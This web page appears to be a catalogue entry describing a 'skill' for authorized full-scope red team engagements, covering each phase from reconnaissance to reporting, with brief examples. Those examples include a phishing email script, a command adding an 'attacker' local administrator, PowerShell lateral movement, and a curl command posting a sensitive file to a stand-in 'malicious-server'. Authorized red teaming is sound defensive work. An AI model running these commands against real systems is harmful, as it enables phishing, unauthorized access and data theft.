Conducting Full-Scope Red Team Engagement
Plan and execute a comprehensive red team engagement covering reconnaissance through post-exploitation using
What Is Conducting Full-Scope Red Team Engagement?
Conducting full-scope red team engagement is a comprehensive assessment technique in cybersecurity where an authorized team emulates real-world threat actors to test and challenge an organization’s detection and response capabilities. Unlike traditional penetration testing, which often focuses on identifying and exploiting specific vulnerabilities, full-scope red teaming covers every phase of the attack lifecycle, including reconnaissance, initial access, persistence, privilege escalation, lateral movement, and post-exploitation activities such as data exfiltration. The engagement is aligned with frameworks like MITRE ATT&CK to ensure emulation of advanced persistent threats (APTs) using the latest tactics, techniques, and procedures (TTPs).
This skill leverages a wide array of offensive security practices to expose gaps in security controls and incident response processes. By simulating persistent and stealthy adversaries, organizations can gain valuable insights into their real-world security posture and resilience.
Why Use Full-Scope Red Team Engagement?
Traditional security assessments often fall short in measuring an organization’s ability to detect and respond to sophisticated, multi-stage attacks. Full-scope red team engagement addresses these gaps by:
- Testing the Entire Kill Chain: It validates not just perimeter defenses but also internal detection and response mechanisms, covering all stages from reconnaissance to data exfiltration.
- Adversary Emulation: By aligning with the MITRE ATT&CK framework, engagements reflect the latest attacker behaviors.
- Evaluating Detection and Response: It identifies not only technical vulnerabilities but also procedural weaknesses in monitoring, alerting, and incident response.
- Demonstrating Real-World Impact: Engagements are objective driven, highlighting the potential real-world consequences of successful attacks.
- Supporting Purple Teaming: Findings can be used to strengthen collaboration between offensive and defensive teams, leading to improved security controls and processes.
How to Use Full-Scope Red Team Engagement
A successful full-scope red team engagement requires planning, execution, and reporting phases, each with specific goals and methodologies. The following outlines a structured approach:
1. Planning and
Scoping
Define clear objectives aligned with business risks. Determine the rules of engagement, such as the scope of systems, approved TTPs, and operational constraints. Obtain written authorization and ensure stakeholders are informed.
Rules of Engagement Example:
- Target: Internal Active Directory environment
- No impact on production systems
- All actions logged for review
- Engagement timeline: 4 weeks2. Reconnaissance
Gather publicly available information about the target environment (Open Source Intelligence - OSINT), including domain names, IP ranges, employee details, and technology stacks.
## Example:
Passive DNS reconnaissance using dnsenum
dnsenum example.com3. Initial
Access
Leverage techniques such as phishing, exploitation of exposed services, or credential stuffing to gain a foothold in the target environment.
## Example:
Simple phishing email template (Python)
import smtplib
sender = "attacker@malicious.com"
receiver = "victim@company.com"
message = """Subject: Important Update
Please review the attached policy update.
"""
with smtplib.SMTP('smtp.company.com') as server:
server.sendmail(sender, receiver, message)4. Persistence and Privilege
Escalation
Establish persistent access and escalate privileges using tactics aligned with MITRE ATT&CK, such as exploiting weak service permissions or credential harvesting.
## Example:
Adding a user to local administrators (Windows)
net localgroup administrators attacker /add5. Lateral
Movement
Move laterally within the environment using techniques like Pass-the-Hash, Remote Desktop Protocol (RDP), or exploiting trust relationships.
## Example:
Using PowerShell Remoting for lateral movement
Enter-PSSession -ComputerName TARGET -Credential DOMAIN\User6. Post-Exploitation and
Exfiltration
Access sensitive data and simulate exfiltration to assess data loss prevention and monitoring controls.
## Example:
Simulate data exfiltration via HTTP POST
curl -X POST -d @sensitive-data.txt http://malicious-server/upload7. Reporting and Purple Team
Collaboration
Document findings, map activities to MITRE ATT&CK techniques, and collaborate with blue teams to review detections and refine controls. Present actionable recommendations for remediation.
When to Use This Skill
- During scheduled security assessments requiring realistic adversary emulation
- As part of an ongoing security validation or auditing program
- When validating the effectiveness of recent security controls or incident response processes
- Following significant changes in infrastructure or business processes
- In response to regulatory or compliance requirements for hands-on security testing
Important Notes
- Authorization Is Mandatory: Always secure proper authorization before conducting any red team activities.
- Ethical Boundaries: Clearly define and document rules of engagement to avoid business disruption or legal issues.
- Align with Frameworks: Use MITRE ATT&CK and NIST CSF references to ensure comprehensive coverage and reporting.
- Collaboration: Engage with defensive teams to provide feedback, support detection engineering, and foster a purple team culture.
- Continuous Improvement: Use findings to drive iterative improvements in detection, prevention, and response capabilities.
- Documentation: Maintain detailed logs of all actions, tools, and techniques used for transparency and reproducibility.
By mastering full-scope red team engagement, security professionals can proactively identify and remediate gaps, significantly strengthening organizational resilience against advanced threats.
More Skills You Might Like
Explore similar skills to enhance your workflow
Culture Index
Trail of Bits security culture assessment and indexing tools
Analyzing LNK File and Jump List Artifacts
Analyze Windows LNK shortcut files and Jump List artifacts to establish evidence of file access, program execution,
Conventional Commit
conventional-commit skill for programming & development
Ab Test Analysis
Analyze A/B test results with statistical significance, sample size validation, confidence intervals, and ship/extend/stop recommendations. Use
Building Threat Intelligence Platform
Building a Threat Intelligence Platform (TIP) involves deploying and integrating multiple CTI tools into a unified
Analyzing APT Group with MITRE ATT&CK Navigator
Analyze advanced persistent threat (APT) group techniques using MITRE ATT&CK Navigator to create layered heatmaps